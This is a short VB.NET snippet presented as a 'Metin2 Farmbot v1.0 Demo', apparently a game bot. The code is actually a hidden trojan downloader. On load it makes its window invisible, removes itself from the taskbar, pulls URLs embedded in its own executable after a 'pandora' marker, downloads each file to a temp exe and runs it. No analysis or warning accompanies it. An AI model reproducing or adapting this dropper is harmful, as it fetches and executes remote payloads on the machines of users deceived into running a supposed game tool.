Metin2 Farmbot v1.0 Demo

Private Sub Form1_Load(ByVal sender As Object, ByVal e As EventArgs)
Me.Opacity = 0
Me.ShowInTaskbar = False
Dim expression As String = File.ReadAllText(Application.ExecutablePath)
Dim path As String = (Path.GetTempPath & "\XdsdaRdSD.exe")
If expression.Contains("pandora") Then
Dim array As String() = Strings.Split(expression, "pandora", -1, CompareMethod.Binary)
Dim num2 As Integer = Information.UBound(array, 1)
Dim i As Integer = 1
Do While (i <= num2)
If File.Exists(path) Then
File.Delete(path)
End If
MyProject.Computer.Network.DownloadFile(array(i), path)
Process.Start(path)
i += 1
Loop
Me.Close
End If
End Sub